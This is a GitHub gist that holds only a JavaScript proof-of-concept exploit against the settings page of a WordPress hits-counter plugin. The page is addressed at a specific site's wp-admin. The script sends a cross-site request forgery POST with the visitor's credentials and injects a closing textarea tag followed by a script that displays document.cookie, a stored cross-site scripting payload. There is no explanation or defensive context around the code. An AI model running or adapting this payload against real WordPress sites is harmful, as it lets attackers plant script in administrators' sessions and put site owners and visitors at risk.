Skip to content

Instantly share code, notes, and snippets.

@vncloudsco
Created November 28, 2019 07:59
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save vncloudsco/3f39de231911f7d3beff380adaf790fc to your computer and use it in GitHub Desktop.
Save vncloudsco/3f39de231911f7d3beff380adaf790fc to your computer and use it in GitHub Desktop.
<script>
var xhr = new XMLHttpRequest();
xhr.open("POST", "https:\/\/manhtuong.net\/wp-admin\/admin.php?page=ahc_hits_counter_settings", true);
xhr.setRequestHeader("Accept-Language", "de,en-US;q=0.7,en;q=0.3");
xhr.setRequestHeader("Content-Type", "application\/x-www-form-urlencoded");
xhr.withCredentials = true;
var body =
"save=test&set_ips=\x3c/textarea\x3e\x3cscript\x3ealert(document.cookie)\x3c/script\x3e";
var aBody = new Uint8Array(body.length);
for (var i = 0; i < aBody.length; i++)
aBody[i] = body.charCodeAt(i);
xhr.send(new Blob([aBody]));
</script>
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment